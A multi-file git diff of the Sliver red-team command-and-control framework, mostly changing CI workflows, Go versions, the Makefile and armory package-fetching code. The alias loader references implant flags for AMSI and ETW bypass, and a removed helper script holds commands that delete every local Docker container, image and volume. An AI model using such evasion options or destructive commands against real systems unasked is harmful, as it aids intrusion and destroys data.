Include makefile

.github/codeql/codeql-config.yml

@@ -5,4 +5,4 @@ queries:
     uses: security-extended
     paths:
       - server
-      - client
+      - implant

.github/workflows/autorelease.yml

@@ -3,58 +3,60 @@ name: Release
 on:
   push:
     tags: ["v[1-9]+.[0-9]+.[0-9]+"]
-    branches: ["master", "v1.5.x/master"]
+    branches: [master, goreleaser]
 
 jobs:
+
   linux-windows-build:
     name: Linux & Windows Build
     if: startsWith( github.ref, 'refs/tags/v')
     runs-on: ubuntu-latest
     timeout-minutes: 45
     steps:
-      - name: Go 1.20
-        uses: actions/setup-go@v4
-        with:
-          go-version: "^1.20"
 
-      - name: OS Packages
-        run: |
-          sudo apt-get update --fix-missing && sudo apt-get -y install \
-          git build-essential zlib1g zlib1g-dev wget zip unzip \
-          mingw-w64 binutils-mingw-w64 g++-mingw-w64 gcc-multilib
+    - name: Go 1.18
+      uses: actions/setup-go@v3
+      with:
+        go-version: '1.18.6'
+    
+    - name: OS Packages 
+      run: |
+        sudo apt-get update --fix-missing && sudo apt-get -y install \
+        git build-essential zlib1g zlib1g-dev wget zip unzip \
+        mingw-w64 binutils-mingw-w64 g++-mingw-w64 gcc-multilib
 
-      - name: Check out code into the Go module directory
-        uses: actions/checkout@v3
+    - name: Check out code into the Go module directory
+      uses: actions/checkout@v3
 
-      - name: Git Fetch Tags
-        run: git fetch --prune --unshallow --tags -f
+    - name: Git Fetch Tags
+      run: git fetch --prune --unshallow --tags -f
 
-      - name: Go Assets
-        run: ./go-assets.sh
+    - name: Go Assets
+      run: ./go-assets.sh
 
-      - name: Make
-        env:
-          ARTIFACT_SUFFIX: _linux
-        run: export PATH=/home/runner/go/bin/:$PATH && make linux
+    - name: Make
+      env:
+        ARTIFACT_SUFFIX: _linux
+      run: export PATH=/home/runner/go/bin/:$PATH && make linux
+  
+    - name: Linux Artifacts
+      uses: actions/upload-artifact@v3
+      with:
+        name: linux
+        path: ./sliver-*
 
-      - name: Linux Artifacts
-        uses: actions/upload-artifact@v3
-        with:
-          name: linux
-          path: ./sliver-*
+    - name: Make Windows
+      env: 
+        ARTIFACT_SUFFIX: _windows
+      run: |
+        make clean
+        export PATH=/home/runner/go/bin/:$PATH && make windows
 
-      - name: Make Windows
-        env:
-          ARTIFACT_SUFFIX: _windows
-        run: |
-          make clean
-          export PATH=/home/runner/go/bin/:$PATH && make windows
-
-      - name: Windows Artifacts
-        uses: actions/upload-artifact@v3
-        with:
-          name: windows
-          path: ./sliver-*
+    - name: Windows Artifacts
+      uses: actions/upload-artifact@v3
+      with:
+        name: windows
+        path:  ./sliver-*
 
   macos-build:
     name: MacOS Build
@@ -62,40 +64,42 @@ jobs:
     runs-on: macos-latest
     timeout-minutes: 45
     steps:
-      - name: Go 1.20
-        uses: actions/setup-go@v4
-        with:
-          go-version: "^1.20"
 
-      - name: Mingw
-        run: brew install mingw-w64
+    - name: Go 1.18
+      uses: actions/setup-go@v3
+      with:
+        go-version: '1.18.6'
 
-      - name: Check out code into the Go module directory
-        uses: actions/checkout@v3
+    - name: Mingw
+      run: brew install mingw-w64
 
-      - name: Git Fetch Tags
-        run: git fetch --prune --unshallow --tags -f
+    - name: Check out code into the Go module directory
+      uses: actions/checkout@v3
 
-      - name: Go Assets
-        run: ./go-assets.sh
+    - name: Git Fetch Tags
+      run: git fetch --prune --unshallow --tags -f
 
-      - name: Make AMD64
-        env:
-          ARTIFACT_SUFFIX: _macos
-        run: make macos
+    - name: Go Assets
+      run: ./go-assets.sh
 
-      - name: Make ARM64
-        env:
-          ARTIFACT_SUFFIX: _macos-arm64
-        run: make macos-arm64
+    - name: Make AMD64
+      env: 
+        ARTIFACT_SUFFIX: _macos
+      run: make macos
 
-      - name: MacOS Artifacts
-        uses: actions/upload-artifact@v3
-        with:
-          name: macos
-          path: ./sliver-*
+    - name: Make ARM64
+      env: 
+        ARTIFACT_SUFFIX: _macos-arm64
+      run: make macos-arm64
+
+    - name: MacOS Artifacts
+      uses: actions/upload-artifact@v3
+      with:
+        name: macos
+        path: ./sliver-*
 
   tagged-release:
+
     needs: [linux-windows-build, macos-build]
 
     name: "Tagged Release"
@@ -104,50 +108,53 @@ jobs:
     timeout-minutes: 45
 
     steps:
-      - run: mkdir -p ./builds
-      - uses: actions/download-artifact@v3
-        with:
-          path: ./builds
+  
+    - run: mkdir -p ./builds
+    - uses: actions/download-artifact@v3
+      with:
+        path: ./builds
 
-      - name: Extract Artifacts
-        run: |
-          mkdir -p ./artifacts
-          cp ./builds/linux/* ./artifacts
-          cp ./builds/windows/* ./artifacts
-          cp ./builds/macos/* ./artifacts
+    - name: Extract Artifacts
+      run: |
+        mkdir -p ./artifacts
+        cp ./builds/linux/* ./artifacts
+        cp ./builds/windows/* ./artifacts
+        cp ./builds/macos/* ./artifacts
 
-      - id: install-secret-key
-        name: GPG Key(s)
-        run: |
-          cat <(echo -e "${{ secrets.SLIVER_GPG }}") | gpg --batch --import
-          gpg --list-secret-keys --keyid-format LONG
+    - id: install-secret-key
+      name: GPG Key(s)
+      run: |
+        cat <(echo -e "${{ secrets.SLIVER_GPG }}") | gpg --batch --import
+        gpg --list-secret-keys --keyid-format LONG
 
-      # Linux
-      - name: Linux AMD64
-        run: |
-          gpg --default-key 4449039C --output ./artifacts/sliver-server_linux.sig --detach-sig ./artifacts/sliver-server_linux
-          gpg --default-key 4449039C --output ./artifacts/sliver-client_linux.sig --detach-sig ./artifacts/sliver-client_linux
+    # Linux
+    - name: Linux AMD64
+      run: |
+        gpg --default-key 4449039C --output ./artifacts/sliver-server_linux.sig --detach-sig ./artifacts/sliver-server_linux
+        gpg --default-key 4449039C --output ./artifacts/sliver-client_linux.sig --detach-sig ./artifacts/sliver-client_linux
+    
+    # Windows
+    - name: Windows AMD64
+      run: |
+        gpg --default-key 4449039C --output ./artifacts/sliver-server_windows.sig --detach-sig ./artifacts/sliver-server_windows.exe
+        gpg --default-key 4449039C --output ./artifacts/sliver-client_windows.sig --detach-sig ./artifacts/sliver-client_windows.exe
 
-      # Windows
-      - name: Windows AMD64
-        run: |
-          gpg --default-key 4449039C --output ./artifacts/sliver-server_windows.sig --detach-sig ./artifacts/sliver-server_windows.exe
-          gpg --default-key 4449039C --output ./artifacts/sliver-client_windows.sig --detach-sig ./artifacts/sliver-client_windows.exe
-
-      # MacOS AMD64
-      - name: MacOS AMD64
-        run: |
-          gpg --default-key 4449039C --output ./artifacts/sliver-server_macos.sig --detach-sig ./artifacts/sliver-server_macos
-          gpg --default-key 4449039C --output ./artifacts/sliver-client_macos.sig --detach-sig ./artifacts/sliver-client_macos
-
-      # MacOS ARM64
-      - name: Package MacOS ARM64
-        run: |
-          gpg --default-key 4449039C --output ./artifacts/sliver-server_macos-arm64.sig --detach-sig ./artifacts/sliver-server_macos-arm64
-          gpg --default-key 4449039C --output ./artifacts/sliver-client_macos-arm64.sig --detach-sig ./artifacts/sliver-client_macos-arm64
-
-      - name: "Publish Release"
-        uses: "bishopfox/action-gh-release@v1"
-        with:
-          files: |
-            ./artifacts/*
+    # MacOS AMD64
+    - name: MacOS AMD64
+      run: |
+        gpg --default-key 4449039C --output ./artifacts/sliver-server_macos.sig --detach-sig ./artifacts/sliver-server_macos
+        gpg --default-key 4449039C --output ./artifacts/sliver-client_macos.sig --detach-sig ./artifacts/sliver-client_macos
+  
+    # MacOS ARM64
+    - name: Package MacOS ARM64
+      run: |
+        gpg --default-key 4449039C --output ./artifacts/sliver-server_macos-arm64.sig --detach-sig ./artifacts/sliver-server_macos-arm64
+        gpg --default-key 4449039C --output ./artifacts/sliver-client_macos-arm64.sig --detach-sig ./artifacts/sliver-client_macos-arm64
+  
+    - name: "Publish Release"
+      uses: "marvinpinto/action-automatic-releases@latest"
+      with:
+        repo_token: "${{ secrets.GITHUB_TOKEN }}"
+        prerelease: true
+        files: |
+          ./artifacts/*

.github/workflows/codeql-scanning.yml

@@ -4,22 +4,23 @@ on:
   push:
     branches:
       - test/*
-  pull_request:
-    branches:
-      - master
+  # pull_request:
+  #   branches:
+  #     - master
 
 jobs:
   CodeQL-Build:
     name: CodeQL Security Scan
+    # CodeQL runs on ubuntu-latest, windows-latest, and macos-latest
     runs-on: ubuntu-latest
-    timeout-minutes: 90
+    timeout-minutes: 45
 
     steps:
       # Setup go environment
-      - name: Go 1.20
-        uses: actions/setup-go@v4
+      - name: Go 1.18
+        uses: actions/setup-go@v3
         with:
-          go-version: "^1.20"
+          go-version: "1.18.6"
 
       - name: Checkout repository
         uses: actions/checkout@v3
@@ -36,6 +37,23 @@ jobs:
           git build-essential zlib1g zlib1g-dev wget zip unzip \
           mingw-w64 binutils-mingw-w64 g++-mingw-w64
 
+      - name: Protoc
+        env:
+          PROTOC_VER: 3.11.4
+        run: |
+          wget -O protoc-${PROTOC_VER}-linux-x86_64.zip https://github.com/protocolbuffers/protobuf/releases/download/v${PROTOC_VER}/protoc-${PROTOC_VER}-linux-x86_64.zip \
+          && unzip protoc-${PROTOC_VER}-linux-x86_64.zip \
+          && sudo cp -vv ./bin/protoc /usr/local/bin/protoc
+
+      - name: Protoc-gen-go
+        env:
+          PROTOC_GEN_GO_VER: 1.3.5
+        run: |
+          wget -O protoc-gen-go.tar.gz https://github.com/golang/protobuf/archive/v${PROTOC_GEN_GO_VER}.tar.gz \
+          && tar xvf protoc-gen-go.tar.gz \
+          && cd protobuf-${PROTOC_GEN_GO_VER} \
+          && make install
+
       - name: Check out code into the Go module directory
         uses: actions/checkout@v3
 

.github/workflows/go.yml

@@ -1,5 +1,8 @@
 name: Build & Test
 on:
+  push:
+    branches: 
+      - test/*
   pull_request:
     branches:
       - master
@@ -8,69 +11,79 @@ on:
       - reopened
       - synchronize
       - ready_for_review
+    paths:
+      - 'Makefile'
+      - 'go-assets.sh'
+      - 'go-tests.sh'
+      - '**.go'
+      - '**.mod'
+      - '**.sum'
 
 jobs:
+
   linux-windows-build:
     name: Linux & Windows Build
     runs-on: ubuntu-latest
     timeout-minutes: 90
     steps:
-      - name: Go 1.20
-        uses: actions/setup-go@v4
-        with:
-          go-version: "1.20.2"
 
-      - name: OS Packages
-        run: |
-          sudo apt-get update --fix-missing && sudo apt-get -y install \
-          git build-essential zlib1g zlib1g-dev wget zip unzip \
-          mingw-w64 binutils-mingw-w64 g++-mingw-w64 gcc-multilib
+    - name: Go 1.18
+      uses: actions/setup-go@v3
+      with:
+        go-version: '1.18.6'
+    
+    - name: OS Packages 
+      run: |
+        sudo apt-get update --fix-missing && sudo apt-get -y install \
+        git build-essential zlib1g zlib1g-dev wget zip unzip \
+        mingw-w64 binutils-mingw-w64 g++-mingw-w64 gcc-multilib
 
-      - name: Check out code into the Go module directory
-        uses: actions/checkout@v3
+    - name: Check out code into the Go module directory
+      uses: actions/checkout@v3
 
-      - name: Git Fetch Tags
-        run: git fetch --prune --unshallow --tags -f
+    - name: Git Fetch Tags
+      run: git fetch --prune --unshallow --tags -f
 
-      - name: Go Assets
-        run: ./go-assets.sh
+    - name: Go Assets
+      run: ./go-assets.sh
 
-      - name: Make
-        run: make linux
+    - name: Make
+      run: make linux
 
-      - name: Test
-        run: ./sliver-server unpack --force && ./go-tests.sh
-
-      - name: Make Windows
-        run: make windows
+    - name: Test
+      run: ./sliver-server unpack --force && ./go-tests.sh
 
+    - name: Make Windows
+      run: make windows
+  
   macos-build:
     name: MacOS Build
     runs-on: macos-latest
     timeout-minutes: 90
     steps:
-      - name: Go 1.20
-        uses: actions/setup-go@v4
-        with:
-          go-version: "1.20.2"
 
-      - name: Mingw
-        run: brew install mingw-w64
+    - name: Go 1.18
+      uses: actions/setup-go@v3
+      with:
+        go-version: '1.18.6'
 
-      - name: Check out code into the Go module directory
-        uses: actions/checkout@v3
+    - name: Mingw
+      run: brew install mingw-w64
 
-      - name: Git Fetch Tags
-        run: git fetch --prune --unshallow --tags -f
+    - name: Check out code into the Go module directory
+      uses: actions/checkout@v3
 
-      - name: Go Assets
-        run: ./go-assets.sh
+    - name: Git Fetch Tags
+      run: git fetch --prune --unshallow --tags -f
 
-      - name: Make
-        run: make macos
+    - name: Go Assets
+      run: ./go-assets.sh
 
-      - name: Test
-        env:
-          SLIVER_CC_32: /usr/local/bin/i686-w64-mingw32-gcc
-          SLIVER_CC_64: /usr/local/bin/x86_64-w64-mingw32-gcc
-        run: ./sliver-server unpack --force && ./go-tests.sh
+    - name: Make
+      run: make macos
+
+    - name: Test
+      env:
+        SLIVER_CC_32: /usr/local/bin/i686-w64-mingw32-gcc
+        SLIVER_CC_64: /usr/local/bin/x86_64-w64-mingw32-gcc
+      run: ./sliver-server unpack --force && ./go-tests.sh

.gitignore

@@ -42,6 +42,3 @@ sliver-server-windows.zip
 .DS_Store
 
 dist/
-
-# Flag to show that go-assets.sh has been run
-.downloaded_assets

Dockerfile

@@ -1,4 +1,4 @@
-FROM golang:1.20.4
+FROM golang:1.18.6
 
 #
 # IMPORTANT: This Dockerfile is used for testing, I do not recommend deploying
@@ -6,7 +6,7 @@ FROM golang:1.20.4
 #            a Docker deployment this is probably a good place to start.
 #
 
-ENV PROTOC_VER 21.12
+ENV PROTOC_VER 3.19.4
 ENV PROTOC_GEN_GO_VER v1.27.1
 ENV GRPC_GO v1.2.0
 
@@ -54,6 +54,7 @@ RUN go install google.golang.org/protobuf/cmd/protoc-gen-go@${PROTOC_GEN_GO_VER}
 WORKDIR /go/src/github.com/bishopfox/sliver
 ADD . /go/src/github.com/bishopfox/sliver/
 RUN make clean-all
+RUN ./go-assets.sh
 RUN make \
     && cp -vv sliver-server /opt/sliver-server \
     && /opt/sliver-server unpack --force 

Makefile

@@ -47,15 +47,6 @@ LDFLAGS = -ldflags "-s -w \
 	-X $(CLIENT_ASSETS_PKG).DefaultArmoryPublicKey=$(ARMORY_PUB_KEY) \
 	-X $(CLIENT_ASSETS_PKG).DefaultArmoryRepoURL=$(ARMORY_REPO_URL)"
 
-# Debug builds can't be stripped (-s -w flags)
-LDFLAGS_DEBUG = -ldflags "-X $(VERSION_PKG).Version=$(VERSION) \
-	-X \"$(VERSION_PKG).GoVersion=$(GO_VERSION)\" \
-	-X $(VERSION_PKG).CompiledAt=$(COMPILED_AT) \
-	-X $(VERSION_PKG).GithubReleasesURL=$(RELEASES_URL) \
-	-X $(VERSION_PKG).GitCommit=$(GIT_COMMIT) \
-	-X $(VERSION_PKG).GitDirty=$(GIT_DIRTY) \
-	-X $(CLIENT_ASSETS_PKG).DefaultArmoryPublicKey=$(ARMORY_PUB_KEY) \
-	-X $(CLIENT_ASSETS_PKG).DefaultArmoryRepoURL=$(ARMORY_REPO_URL)"
 
 SED_INPLACE := sed -i
 STATIC_TARGET := linux
@@ -108,42 +99,36 @@ ifeq ($(MAKECMDGOALS), linux)
 		-X $(CLIENT_ASSETS_PKG).DefaultArmoryRepoURL=$(ARMORY_REPO_URL)"
 endif
 
-ifeq ($(MAKECMDGOALS), linux-arm64)
-	# Redefine TAGS/ENV to use pure go sqlite3
-	TAGS = -tags osusergo,netgo,gosqlite
-	ENV = CGO_ENABLED=0
-endif
-
 #
 # Targets
 #
 .PHONY: default
-default: clean .downloaded_assets validate-go-version
+default: clean validate-go-version
 	$(ENV) $(GO) build -mod=vendor -trimpath $(TAGS),server $(LDFLAGS) -o sliver-server$(ARTIFACT_SUFFIX) ./server
 	$(ENV) $(GO) build -mod=vendor -trimpath $(TAGS),client $(LDFLAGS) -o sliver-client$(ARTIFACT_SUFFIX) ./client
 
 .PHONY: macos
-macos: clean .downloaded_assets validate-go-version
+macos: clean validate-go-version
 	GOOS=darwin GOARCH=amd64 $(ENV) $(GO) build -mod=vendor -trimpath $(TAGS),server $(LDFLAGS) -o sliver-server$(ARTIFACT_SUFFIX) ./server
 	GOOS=darwin GOARCH=amd64 $(ENV) $(GO) build -mod=vendor -trimpath $(TAGS),client $(LDFLAGS) -o sliver-client$(ARTIFACT_SUFFIX) ./client
 
 .PHONY: macos-arm64
-macos-arm64: clean .downloaded_assets validate-go-version
+macos-arm64: clean validate-go-version
 	GOOS=darwin GOARCH=arm64 $(ENV) $(GO) build -mod=vendor -trimpath $(TAGS),server $(LDFLAGS) -o sliver-server$(ARTIFACT_SUFFIX) ./server
 	GOOS=darwin GOARCH=arm64 $(ENV) $(GO) build -mod=vendor -trimpath $(TAGS),client $(LDFLAGS) -o sliver-client$(ARTIFACT_SUFFIX) ./client
 
 .PHONY: linux
-linux: clean .downloaded_assets validate-go-version
+linux: clean validate-go-version
 	GOOS=linux GOARCH=amd64 $(ENV) $(GO) build -mod=vendor -trimpath $(TAGS),server $(LDFLAGS) -o sliver-server$(ARTIFACT_SUFFIX) ./server
 	GOOS=linux GOARCH=amd64 $(ENV) $(GO) build -mod=vendor -trimpath $(TAGS),client $(LDFLAGS) -o sliver-client$(ARTIFACT_SUFFIX) ./client
 
 .PHONY: linux-arm64
-linux-arm64: clean .downloaded_assets validate-go-version
+linux-arm64: clean validate-go-version
 	GOOS=linux GOARCH=arm64 $(ENV) $(GO) build -mod=vendor -trimpath $(TAGS),server $(LDFLAGS) -o sliver-server$(ARTIFACT_SUFFIX) ./server
 	GOOS=linux GOARCH=arm64 $(ENV) $(GO) build -mod=vendor -trimpath $(TAGS),client $(LDFLAGS) -o sliver-client$(ARTIFACT_SUFFIX) ./client
 
 .PHONY: windows
-windows: clean .downloaded_assets validate-go-version
+windows: clean validate-go-version
 	GOOS=windows $(ENV) $(GO) build -mod=vendor -trimpath $(TAGS),server $(LDFLAGS) -o sliver-server$(ARTIFACT_SUFFIX).exe ./server
 	GOOS=windows $(ENV) $(GO) build -mod=vendor -trimpath $(TAGS),client $(LDFLAGS) -o sliver-client$(ARTIFACT_SUFFIX).exe ./client
 
@@ -155,11 +140,6 @@ pb:
 	protoc -I protobuf/ protobuf/dnspb/dns.proto --go_out=paths=source_relative:protobuf/
 	protoc -I protobuf/ protobuf/rpcpb/services.proto --go_out=paths=source_relative:protobuf/ --go-grpc_out=protobuf/ --go-grpc_opt=paths=source_relative 
 
-.PHONY: debug
-debug: clean
-	$(ENV) $(GO) build -mod=vendor $(TAGS),server $(LDFLAGS_DEBUG) -o sliver-server$(ARTIFACT_SUFFIX) ./server
-	$(ENV) $(GO) build -mod=vendor $(TAGS),client $(LDFLAGS_DEBUG) -o sliver-client$(ARTIFACT_SUFFIX) ./client
-
 validate-go-version:
 	@if [ $(GO_MAJOR_VERSION) -gt $(MIN_SUPPORTED_GO_MAJOR_VERSION) ]; then \
 		exit 0 ;\
@@ -178,12 +158,7 @@ clean-all: clean
 	rm -rf ./server/assets/fs/windows/amd64
 	rm -rf ./server/assets/fs/linux/amd64
 	rm -f ./server/assets/fs/*.zip
-	rm -f ./.downloaded_assets
 
 .PHONY: clean
 clean:
 	rm -f sliver-client sliver-server sliver-*.exe
-
-.downloaded_assets:
-	./go-assets.sh
-	touch ./.downloaded_assets

README.md

@@ -5,7 +5,7 @@ Sliver is an open source cross-platform adversary emulation/red team framework,
 
 The server and client support MacOS, Windows, and Linux. Implants are supported on MacOS, Windows, and Linux (and possibly every Golang compiler target but we've not tested them all).
 
-[![Release](https://github.com/BishopFox/sliver/actions/workflows/autorelease.yml/badge.svg)](https://github.com/BishopFox/sliver/actions/workflows/autorelease.yml) [![Go Report Card](https://goreportcard.com/badge/github.com/BishopFox/sliver)](https://goreportcard.com/report/github.com/BishopFox/sliver) [![License: GPL v3](https://img.shields.io/badge/License-GPLv3-blue.svg)](https://www.gnu.org/licenses/gpl-3.0)
+![Go](https://github.com/BishopFox/sliver/workflows/Go/badge.svg?branch=master) [![Go Report Card](https://goreportcard.com/badge/github.com/BishopFox/sliver)](https://goreportcard.com/report/github.com/BishopFox/sliver) [![License: GPL v3](https://img.shields.io/badge/License-GPLv3-blue.svg)](https://www.gnu.org/licenses/gpl-3.0)
 
 ### Features
 

SECURITY.md

@@ -15,4 +15,4 @@ Anything in the `master` branch, without an open ticket.
 
 ### Reporting a Vulnerability
 
-Please report high and/or critical vulnerabilities via GitHub's private [report a vulnerability feature](https://github.com/BishopFox/sliver/security/advisories).
+Please report high and/or critical vulnerabilities via email `jdemesy<[a]>bishopfox.com`, if no response within 14 days, file a ticket with a `security` tag. Medium to Low risk vulnerabilities can simply be filed as a normal bug/issue with the `security` tag.

build.py

@@ -1,118 +0,0 @@
-#!/usr/bin/env python
-"""
-Sliver Implant Framework
-Copyright (C) 2019  Bishop Fox
-
-This program is free software: you can redistribute it and/or modify
-it under the terms of the GNU General Public License as published by
-the Free Software Foundation, either version 3 of the License, or
-(at your option) any later version.
-
-This program is distributed in the hope that it will be useful,
-but WITHOUT ANY WARRANTY; without even the implied warranty of
-MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
-GNU General Public License for more details.
-
-You should have received a copy of the GNU General Public License
-along with this program.  If not, see <https://www.gnu.org/licenses/>.
-"""
-
-import os
-import sys
-import argparse
-
-try:
-    input = raw_input # Py2 / Py3 compatability
-except NameError:
-    pass
-
-
-INFO = "\033[1m\033[36m[*]\033[0m "
-WARN = "\033[1m\033[31m[!]\033[0m "
-BOLD = "\033[1m"
-NORM = "\033[0m"
-
-
-def exec_cmd(cmd, ignore_status=False):
-    """ Executes a command with some sugar """
-    print("\n" + INFO + " %s\n" % cmd)
-    status = os.system(cmd)
-    if status != 0 and not ignore_status:
-        print("\n" + WARN + "Command did not exit cleanly (%s) " % status)
-        if input("continue? [Y/n]: ").upper() != 'Y':
-            sys.exit(status)
-    return status
-
-def docker_rm_volumes():
-    exec_cmd("docker volume rm $(docker volume ls -q)", ignore_status=True)
-
-def docker_rm_containers():
-    exec_cmd("docker rm $(docker ps -a -q)", ignore_status=True)
-
-def docker_rm_images():
-    exec_cmd("docker rmi -f $(docker images -q)", ignore_status=True)
-
-def docker_prune():
-    exec_cmd("docker image prune -f", ignore_status=True)
-
-def docker_rm_all():
-    docker_rm_containers()
-    docker_rm_images()
-    docker_rm_volumes()
-
-def build():
-    status = exec_cmd("docker build -t sliver .")
-    if status == 0:
-        print(INFO+"Build successful, start with %sdocker run -it sliver:latest%s" % (BOLD, NORM))
-        print(INFO+"Remember you'll need to manually forward network ports")
-
-def main(args):
-    """ Execute the respective task(s) based on cli args """
-    if args.rm_images:
-        docker_rm_images()
-    if args.rm_containers:
-        docker_rm_containers()
-    if args.rm_volumes:
-        docker_rm_volumes()
-    if args.rm_all:
-        docker_rm_all()
-    
-    if not args.no_prune:
-        docker_prune()
-    if not args.no_build:
-        build()
-
-
-if __name__ == '__main__':
-    parser = argparse.ArgumentParser(
-        description='automates interactions with docker')
-
-    parser.add_argument('--no-build', '-b',
-                        help='do not run build',
-                        dest='no_build',
-                        action='store_true')
-    parser.add_argument('--no-prune', '-np',
-                        help='do not prune images',
-                        dest='no_prune',
-                        action='store_true')
-
-    parser.add_argument('--rm-all', '-rma',
-                        help='rm all containers, images, and volumes',
-                        dest='rm_all',
-                        action='store_true')
-    parser.add_argument('--rm-containers', '-rmc',
-                        help='rm all containers',
-                        dest='rm_containers',
-                        action='store_true')
-    parser.add_argument('--rm-images', '-rmi',
-                        help='rm all images',
-                        dest='rm_images',
-                        action='store_true')
-    parser.add_argument('--rm-volumes', '-rmv',
-                        help='rm dangling volumes only',
-                        dest='rm_volumes',
-                        action='store_true')
-    try:
-        main(parser.parse_args())
-    except KeyboardInterrupt:
-        print("\n\n" + WARN + "User stopped process")

client/command/alias/load.go

@@ -22,6 +22,7 @@ import (
 	"context"
 	"encoding/json"
 	"fmt"
+	"io/ioutil"
 	"os"
 	"path"
 	"path/filepath"
@@ -141,7 +142,7 @@ func LoadAlias(manifestPath string, con *console.SliverConsoleClient) (*AliasMan
 	}
 
 	// parse it
-	data, err := os.ReadFile(manifestPath)
+	data, err := ioutil.ReadFile(manifestPath)
 	if err != nil {
 		return nil, err
 	}
@@ -280,30 +281,8 @@ func runAliasCommand(ctx *grumble.Context, con *console.SliverConsoleClient) {
 	extArgs = strings.TrimSpace(extArgs)
 	entryPoint := aliasManifest.Entrypoint
 	processArgsStr := ctx.Flags.String("process-arguments")
-	// Special case for payloads with pass to Donut (.NET assemblies and sideloaded payloads):
-	// The Donut loader has a hard limit of 256 characters for the command line arguments, so
-	// we're alerting the user that the arguments will be truncated.
 	if len(extArgs) > 256 && (aliasManifest.IsAssembly || !aliasManifest.IsReflective) {
-		msgStr := ""
-		// The --in-process flag only exists for .NET assemblies (aliasManifest.IsAssembly == true).
-		// Groupping the two conditions together could crash the client since ctx.Flags.Type panics
-		// if the flag is not registered.
-		if aliasManifest.IsAssembly {
-			inProcess := ctx.Flags.Bool("in-process")
-			runtime := ctx.Flags.String("runtime")
-			amsiBypass := ctx.Flags.Bool("amsi-bypass")
-			etwBypass := ctx.Flags.Bool("etw-bypass")
-			if !inProcess {
-				msgStr = " Arguments are limited to 256 characters when using the default fork/exec model for .NET assemblies.\nConsider using the --in-process flag to execute .NET assemblies in-process and work around this limitation.\n"
-			}
-			if !inProcess && (runtime != "" || etwBypass || amsiBypass) {
-				con.PrintErrorf("The --runtime, --etw-bypass, and --amsi-bypass flags can only be used with the --in-process flag\n")
-				return
-			}
-		} else if !aliasManifest.IsReflective {
-			msgStr = " Arguments are limited to 256 characters when using the default fork/exec model for non-reflective PE payloads.\n"
-		}
-		con.PrintWarnf(msgStr)
+		con.PrintWarnf(" Arguments are limited to 256 characters when using the default fork/exec model for .NET assemblies and non-reflective PE files.\nConsider using the --in-process flag to execute .NET assemblies in-process and work around this limitation.\n")
 		confirm := false
 		prompt := &survey.Confirm{Message: "Do you want to continue?"}
 		survey.AskOne(prompt, &confirm, nil)
@@ -324,7 +303,7 @@ func runAliasCommand(ctx *grumble.Context, con *console.SliverConsoleClient) {
 	if strings.ToLower(filepath.Ext(binPath)) == ".dll" {
 		isDLL = true
 	}
-	binData, err := os.ReadFile(binPath)
+	binData, err := ioutil.ReadFile(binPath)
 	if err != nil {
 		con.PrintErrorf("%s\n", err)
 		return
@@ -332,7 +311,7 @@ func runAliasCommand(ctx *grumble.Context, con *console.SliverConsoleClient) {
 	var outFilePath *os.File
 	if ctx.Flags.Bool("save") {
 		outFile := filepath.Base(fmt.Sprintf("%s_%s*.log", filepath.Base(ctx.Command.Name), filepath.Base(session.GetHostname())))
-		outFilePath, err = os.CreateTemp("", outFile)
+		outFilePath, err = ioutil.TempFile("", outFile)
 		if err != nil {
 			con.PrintErrorf("%s\n", err)
 			return

client/command/armory/armory.go

@@ -484,7 +484,7 @@ func fetchPackageSignature(wg *sync.WaitGroup, armoryConfig *assets.ArmoryConfig
 
 	var sig *minisign.Signature
 	if pkgParser, ok := pkgParsers[repoURL.Hostname()]; ok {
-		sig, _, err = pkgParser(armoryConfig, armoryPkg, true, clientConfig)
+		sig, _, err = pkgParser(armoryPkg, true, clientConfig)
 	} else {
 		sig, _, err = DefaultArmoryPkgParser(armoryConfig, armoryPkg, true, clientConfig)
 	}

client/command/armory/install.go

@@ -143,7 +143,7 @@ func installAliasPackageByName(name string, clientConfig ArmoryHTTPConfig, con *
 	var sig *minisign.Signature
 	var tarGz []byte
 	if pkgParser, ok := pkgParsers[repoURL.Hostname()]; ok {
-		sig, tarGz, err = pkgParser(entry.ArmoryConfig, &entry.Pkg, false, clientConfig)
+		sig, tarGz, err = pkgParser(&entry.Pkg, false, clientConfig)
 	} else {
 		sig, tarGz, err = DefaultArmoryPkgParser(entry.ArmoryConfig, &entry.Pkg, false, clientConfig)
 	}
@@ -261,7 +261,7 @@ func installExtensionPackageByName(name string, clientConfig ArmoryHTTPConfig, c
 	var sig *minisign.Signature
 	var tarGz []byte
 	if pkgParser, ok := pkgParsers[repoURL.Hostname()]; ok {
-		sig, tarGz, err = pkgParser(entry.ArmoryConfig, &entry.Pkg, false, clientConfig)
+		sig, tarGz, err = pkgParser(&entry.Pkg, false, clientConfig)
 	} else {
 		sig, tarGz, err = DefaultArmoryPkgParser(entry.ArmoryConfig, &entry.Pkg, false, clientConfig)
 	}

client/command/armory/parsers.go

@@ -40,7 +40,7 @@ import (
 type ArmoryIndexParser func(*assets.ArmoryConfig, ArmoryHTTPConfig) (*ArmoryIndex, error)
 
 // ArmoryPackageParser - Generic interface to fetch armory package manifests
-type ArmoryPackageParser func(*assets.ArmoryConfig, *ArmoryPackage, bool, ArmoryHTTPConfig) (*minisign.Signature, []byte, error)
+type ArmoryPackageParser func(*ArmoryPackage, bool, ArmoryHTTPConfig) (*minisign.Signature, []byte, error)
 
 var (
 	indexParsers = map[string]ArmoryIndexParser{
@@ -79,7 +79,28 @@ func DefaultArmoryIndexParser(armoryConfig *assets.ArmoryConfig, clientConfig Ar
 		return nil, err
 	}
 
-	resp, body, err := httpRequest(clientConfig, armoryConfig.RepoURL, armoryConfig, http.Header{})
+	client := httpClient(clientConfig)
+	repoURL, err := url.Parse(armoryConfig.RepoURL)
+	if err != nil {
+		return nil, err
+	}
+	req := &http.Request{
+		Method: http.MethodGet,
+		URL:    repoURL,
+		Header: map[string][]string{},
+	}
+	if armoryConfig.Authorization != "" {
+		req.Header.Set("Authorization", armoryConfig.Authorization)
+	}
+	resp, err := client.Do(req)
+	if err != nil {
+		return nil, err
+	}
+	defer resp.Body.Close()
+	body, err := ioutil.ReadAll(resp.Body)
+	if err != nil {
+		return nil, err
+	}
 	if resp.StatusCode != http.StatusOK {
 		return nil, errors.New("api returned non-200 status code")
 	}
@@ -104,8 +125,9 @@ func DefaultArmoryIndexParser(armoryConfig *assets.ArmoryConfig, clientConfig Ar
 		return nil, errors.New("index has invalid signature")
 	}
 
-	armoryIndex := &ArmoryIndex{
-		ArmoryConfig: armoryConfig,
+	armoryIndex := &ArmoryIndex{ArmoryConfig: armoryConfig}
+	if err != nil {
+		return nil, err
 	}
 	err = json.Unmarshal(armoryIndexData, armoryIndex)
